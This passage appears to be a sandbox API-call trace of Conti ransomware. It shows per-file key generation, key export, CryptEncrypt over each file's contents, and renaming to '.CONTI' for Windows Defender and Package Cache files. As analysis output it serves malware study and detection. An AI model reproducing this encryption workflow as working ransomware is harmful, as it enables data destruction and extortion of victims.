	[0115.336] WriteFile (in: hFile=0x3dc, lpBuffer=0x6b40088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b40088*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.336] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.336] CloseHandle (hObject=0x3dc) returned 1
	[0115.336] GetProcessHeap () returned 0x1720000
	[0115.336] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x656a0f8
	[0115.336] lstrcpyW (in: lpString1=0x656a0f8, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt"
	[0115.336] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.CONTI"
	[0115.336] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Network Inspection System\\Support\\NisLog.txt.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\network inspection system\\support\\nislog.txt.conti")) returned 1
	[0115.337] GetProcessHeap () returned 0x1720000
	[0115.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x656a0f8 | out: hHeap=0x1720000) returned 1
	[0115.337] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0115.337] GetProcessHeap () returned 0x1720000
	[0115.337] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1733dd0 | out: hHeap=0x1720000) returned 1
	[0115.337] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.337] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b422c8 | out: phKey=0x6b422c8*=0x6b7f2f8) returned 1
	[0115.337] CryptExportKey (in: hKey=0x6b7f2f8, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b422cc, pdwDataLen=0x41ffb3c | out: pbData=0x6b422cc*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.338] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\00\\192")) returned 0x20
	[0115.756] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\00\\192"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.757] GetLastError () returned 0x0
	[0115.757] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=136) returned 1
	[0115.757] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x88
	[0115.757] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.757] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.757] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.757] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.757] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b422cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b422cc*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0115.758] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.758] ReadFile (in: hFile=0x3e0, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x88, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x88, lpOverlapped=0x0) returned 1
	[0115.758] CryptEncrypt (in: hKey=0x6b7f2f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x88, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x90) returned 1
	[0115.759] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.759] WriteFile (in: hFile=0x3e0, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x90, lpOverlapped=0x0) returned 1
	[0115.759] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.759] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b422c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b422c0*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0115.759] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.759] CloseHandle (hObject=0x3e0) returned 1
	[0115.759] GetProcessHeap () returned 0x1720000
	[0115.759] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6878830
	[0115.759] lstrcpyW (in: lpString1=0x6878830, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192"
	[0115.759] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192.CONTI"
	[0115.759] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\00\\192"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Mput\\MputHistory\\00\\192.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history\\mput\\mputhistory\\00\\192.conti")) returned 1
	[0115.850] GetProcessHeap () returned 0x1720000
	[0115.850] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6878830 | out: hHeap=0x1720000) returned 1
	[0115.850] CryptDestroyKey (hKey=0x6b7f2f8) returned 1
	[0115.850] GetProcessHeap () returned 0x1720000
	[0115.850] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ec00 | out: hHeap=0x1720000) returned 1
	[0115.850] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0115.850] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d4f0 | out: phKey=0x6b4d4f0*=0x6b7ef38) returned 1
	[0115.850] CryptExportKey (in: hKey=0x6b7ef38, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d4f4, pdwDataLen=0x41ffb3c | out: pbData=0x6b4d4f4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0115.851] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87")) returned 0x20
	[0115.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0115.851] GetLastError () returned 0x0
	[0115.851] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=1718881) returned 1
	[0115.851] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1a3a61
	[0115.851] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.851] SetEndOfFile (hFile=0x3e0) returned 1
	[0115.851] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.851] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.851] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b4d4f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4f4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0116.010] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.010] ReadFile (in: hFile=0x3e0, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x1a3a61, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x1a3a61, lpOverlapped=0x0) returned 1
	[0116.083] CryptEncrypt (in: hKey=0x6b7ef38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1a3a61, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1a3a70) returned 1
	[0116.085] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.085] WriteFile (in: hFile=0x3e0, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x1a3a70, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x1a3a70, lpOverlapped=0x0) returned 1
	[0117.573] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.573] WriteFile (in: hFile=0x3e0, lpBuffer=0x6b4d4e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x6b4d4e8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0117.573] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.573] CloseHandle (hObject=0x3e0) returned 1
	[0117.573] GetProcessHeap () returned 0x1720000
	[0117.573] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.573] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87"
	[0117.573] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.CONTI"
	[0117.573] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.87.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.87.conti")) returned 1
	[0117.575] GetProcessHeap () returned 0x1720000
	[0117.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.575] CryptDestroyKey (hKey=0x6b7ef38) returned 1
	[0117.575] GetProcessHeap () returned 0x1720000
	[0117.575] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ca28 | out: hHeap=0x1720000) returned 1
	[0117.575] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0117.575] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65cf2f0 | out: phKey=0x65cf2f0*=0x6b7ef38) returned 1
	[0117.575] CryptExportKey (in: hKey=0x6b7ef38, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf2f4, pdwDataLen=0x41ffb3c | out: pbData=0x65cf2f4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0117.576] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi")) returned 0x20
	[0117.576] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0117.576] GetLastError () returned 0x0
	[0117.576] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=143360) returned 1
	[0117.576] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x23000
	[0117.577] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.577] SetEndOfFile (hFile=0x3e0) returned 1
	[0117.577] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.577] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.577] WriteFile (in: hFile=0x3e0, lpBuffer=0x65cf2f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65cf2f4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.579] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.579] ReadFile (in: hFile=0x3e0, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x23000, lpOverlapped=0x0) returned 1
	[0117.582] CryptEncrypt (in: hKey=0x6b7ef38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x23000, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x23010) returned 1
	[0117.582] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.582] WriteFile (in: hFile=0x3e0, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x23010, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x23010, lpOverlapped=0x0) returned 1
	[0117.583] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.583] WriteFile (in: hFile=0x3e0, lpBuffer=0x65cf2e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65cf2e8*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0117.583] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.583] CloseHandle (hObject=0x3e0) returned 1
	[0117.583] GetProcessHeap () returned 0x1720000
	[0117.583] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0117.583] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi"
	[0117.583] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI"
	[0117.583] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.conti")) returned 1
	[0117.584] GetProcessHeap () returned 0x1720000
	[0117.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0117.584] CryptDestroyKey (hKey=0x6b7ef38) returned 1
	[0117.584] GetProcessHeap () returned 0x1720000
	[0117.584] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818b40 | out: hHeap=0x1720000) returned 1
	[0117.584] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0117.584] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x65d2bf8 | out: phKey=0x65d2bf8*=0x6b7ef38) returned 1
	[0117.584] CryptExportKey (in: hKey=0x6b7ef38, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2bfc, pdwDataLen=0x41ffb3c | out: pbData=0x65d2bfc*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0117.585] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab")) returned 0x20
	[0117.585] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0117.586] GetLastError () returned 0x0
	[0117.586] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=1462871) returned 1
	[0117.586] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x165257
	[0117.586] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.586] SetEndOfFile (hFile=0x3e0) returned 1
	[0117.586] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.586] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.586] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d2bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x65d2bfc*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0117.589] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.589] ReadFile (in: hFile=0x3e0, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x165257, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x165257, lpOverlapped=0x0) returned 1
	[0117.610] CryptEncrypt (in: hKey=0x6b7ef38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x165257, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x165260) returned 1
	[0117.611] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.611] WriteFile (in: hFile=0x3e0, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x165260, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x165260, lpOverlapped=0x0) returned 1
	[0119.446] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.446] WriteFile (in: hFile=0x3e0, lpBuffer=0x65d2bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x65d2bf0*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0119.446] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.446] CloseHandle (hObject=0x3e0) returned 1
	[0119.446] GetProcessHeap () returned 0x1720000
	[0119.446] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
